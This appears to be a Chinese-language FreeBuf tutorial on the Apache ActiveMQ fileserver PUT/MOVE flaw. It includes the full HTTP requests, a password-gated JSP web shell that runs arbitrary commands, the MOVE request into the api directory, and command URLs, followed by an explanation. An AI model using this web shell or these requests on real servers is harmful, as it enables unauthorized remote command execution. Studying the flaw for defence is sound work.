官方公众号企业安全新浪微博
FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。
FreeBuf+小程序
该漏洞出现在fileserver应用中,漏洞原理:ActiveMQ中的fileserver服务允许用户通过HTTP PUT方法上传文件到指定目录。Fileserver支持写入文件(不解析jsp),但是支持移动文件(Move)我们可以将jsp的文件PUT到Fileserver下,然后再通过Move指令移动到可执行目录下访问。
开启服务端口:开启服务页面
登陆 (admin/admin)
进入根目录下的fileserver目录下
PUT /fileserver/1.txt HTTP/1.1
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
查看目录下已经上传了文件
重新装包修改请求头
MOVE /fileserver/1.txt HTTP/1.1
Destination:file:///opt/activemq/webapps/api/testhacker.jsp
成功的响应标志
HTTP/1.1 204 No Content
Connection: close
Server: Jetty(8.1.16.v20140903)
http://IP:8161/api/testhacker.jsp?pwd=023&i=ls%20-l
http://IP:8161/api/testhacker.jsp?pwd=023&i=whoami
漏洞的原理
首先我们使用的put方式上传了1.txt文件到fileserver目录下面,但是在该目录下面的文件是不能够被执行的,执行JSP脚本的目录是admin或者是api目录下面,这两个目录具有执行JSP文件的权限(暂时不明白原理,先记住吧!!),但是这两个目录需要登陆才能够进入,所以可能会存在4XX的错误,这是没有权限的原因。
骚姿势:fileserver目录可以支持写入文件,并且该目录也支持move文件到其他的目录下面,因此我们可以通过上传shell脚本文件到fileserver目录下面,然后将该目录下面的文件移动到解析jsp文件的目录下面,这样就可以造成任意文件写入的漏洞。
参考资料:
https://www.freebuf.com/vuls/213760.html
https://www.jianshu.com/p/564fb8b54a67
https://blog.csdn.net/qq_38632151/article/details/102975086